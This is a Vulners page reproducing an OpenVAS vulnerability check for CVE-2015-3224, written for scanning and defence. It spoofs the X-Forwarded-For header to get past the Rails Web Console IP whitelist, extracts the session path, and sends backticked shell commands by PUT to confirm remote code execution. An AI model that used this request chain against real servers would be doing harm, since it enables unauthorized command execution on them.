Lucene search
+L

Ruby on Rails Web Console IP Whitelist Bypass RCE Vulnerability

🗓️ 09 Mar 2020 00:00:00Reported by Copyright (C) 2020 Greenbone Networks GmbHType 
openvas
 openvas
🔗 plugins.openvas.org👁 55 Views

Ruby on Rails Web Console IP Whitelist Bypass RCE Vulnerability. The Web Console tool in Ruby on Rails allows remote code execution (RCE) via a crafted request

Related
Refs
Code
# Copyright (C) 2020 Greenbone Networks GmbH
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-or-later
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.108719");
  script_version("2021-08-12T06:00:50+0000");
  script_cve_id("CVE-2015-3224");
  script_tag(name:"last_modification", value:"2021-08-12 06:00:50 +0000 (Thu, 12 Aug 2021)");
  script_tag(name:"creation_date", value:"2020-03-09 12:45:13 +0000 (Mon, 09 Mar 2020)");
  script_tag(name:"cvss_base", value:"4.3");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:N/I:P/A:N");

  script_name("Ruby on Rails Web Console IP Whitelist Bypass RCE Vulnerability");

  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2020 Greenbone Networks GmbH");
  script_family("Web application abuses");
  script_dependencies("find_service.nasl", "httpver.nasl", "global_settings.nasl", "os_detection.nasl");
  script_require_ports("Services/www", 3000);
  script_exclude_keys("Settings/disable_cgi_scanning");

  script_tag(name:"summary", value:"The Web Console tool as used in Ruby on Rails is prone to a
  remote code execution (RCE) vulnerability.");

  script_tag(name:"vuldetect", value:"Sends crafted HTTP GET and PUT requests to determine if the
  remote host is vulnerable.");

  script_tag(name:"insight", value:"The request.rb does not properly restrict the use of
  X-Forwarded-For headers in determining a client's IP address.");

  script_tag(name:"impact", value:"This flaw allows remote attackers to bypass the whitelisted_ips
  protection mechanism via a crafted request.");

  script_tag(name:"affected", value:"Web Console before 2.1.3, as used with Ruby on Rails 3.x and 4.x.");

  script_tag(name:"solution", value:"Update to Web Console version 2.1.3 or later.");

  script_xref(name:"URL", value:"https://github.com/rails/web-console/releases/tag/v2.1.3");
  script_xref(name:"URL", value:"http://openwall.com/lists/oss-security/2015/06/16/18");
  script_xref(name:"URL", value:"https://github.com/0xEval/cve-2015-3224/blob/master/cve-2015-3224.py");

  script_tag(name:"qod_type", value:"remote_app");
  script_tag(name:"solution_type", value:"VendorFix");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");
include("misc_func.inc");
include("list_array_func.inc");
include("url_func.inc");
include("host_details.inc");
include("os_func.inc");

port = http_get_port( default:3000 );

vtstrings = get_vt_strings();
url = "/" + vtstrings["lowercase_rand"];

req = http_get_req( port:port, url:url, add_headers:make_array( "X-Forwarded-For", "0000::1" ) );
res = http_keepalive_send_recv( port:port, data:req );
if( ! res || res !~ "data-(remote-path|mount-point)=" )
  exit( 0 );

# <div id="console"
#   data-mount-point='/__web_console'
#   data-session-id='cfd55f856971b9e70ac255159bc01451'
#   data-prompt-label='>> '>
# </div>
path_info = eregmatch( string:res, pattern:'data-(remote-path|mount-point)=["\']([^"\']+)["\']', icase:FALSE );
if( ! path_info )
  exit( 0 );

path = path_info[2];
if( path[0] != "/" )
  path = "/" + path;

sess = eregmatch( string:res, pattern:'data-session-id=["\']([^"\']+)["\']', icase:FALSE );
if( sess )
  path += "/repl_sessions/" + sess[1];

cmds = exploit_commands();
headers = make_array( "X-Forwarded-For", "0000::1", "X-Requested-With", "XMLHttpRequest", "Content-Type", "application/x-www-form-urlencoded" );
accept_header = "application/vnd.web-console.v2";

foreach pattern( keys( cmds ) ) {

  cmd = cmds[pattern];
  data = "input=" + urlencode( str:"`" + cmd + "`" );
  req2 = http_post_put_req( port:port, data:data, url:path, accept_header:accept_header, add_headers:headers, method:"PUT" );
  res2 = http_keepalive_send_recv( port:port, data:req2 );
  if( ! res2 )
    continue;

  if( res2 =~ "^HTTP/1\.[01] 200" && found = egrep( string:res2, pattern:pattern, icase:TRUE ) ) {
    info['HTTP "X-Forwarded-For" header'] = "0000::1";
    info['HTTP Method'] = "GET";
    info['URL'] = http_report_vuln_url( port:port, url:url, url_only:TRUE );
    foreach header( keys( headers ) ) {
      info2['HTTP "' + header + '" header'] = headers[header];
    }
    info2['HTTP Method'] = "PUT";
    info2['HTTP "Accept" header'] = accept_header;
    info2['URL'] = http_report_vuln_url( port:port, url:path, url_only:TRUE );
    info2['HTTP "POST" body'] = data;

    report  = 'By doing the following HTTP request:\n\n';
    report += text_format_table( array:info ) + '\n\n';
    report += 'it was possible to bypass the authententication and to gather a valid session.\n\n';
    report += 'With a follow-up HTTP request:\n\n';
    report += text_format_table( array:info2 ) + '\n\n';
    report += 'it was possible to execute the "' + cmd + '" command on the target host.';
    report += '\n\nResult: ' + chomp( found );
    expert_info  = 'Request 1:\n\n' + req + '\n\nResponse 1:\n\n' + res;
    expert_info += '\n\nRequest 2:\n\n'+ req2 + '\n\nResponse 2:\n\n' + res2;
    security_message( port:port, data:report, expert_info:expert_info );
    exit( 0 );
  }
}

exit( 99 );

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation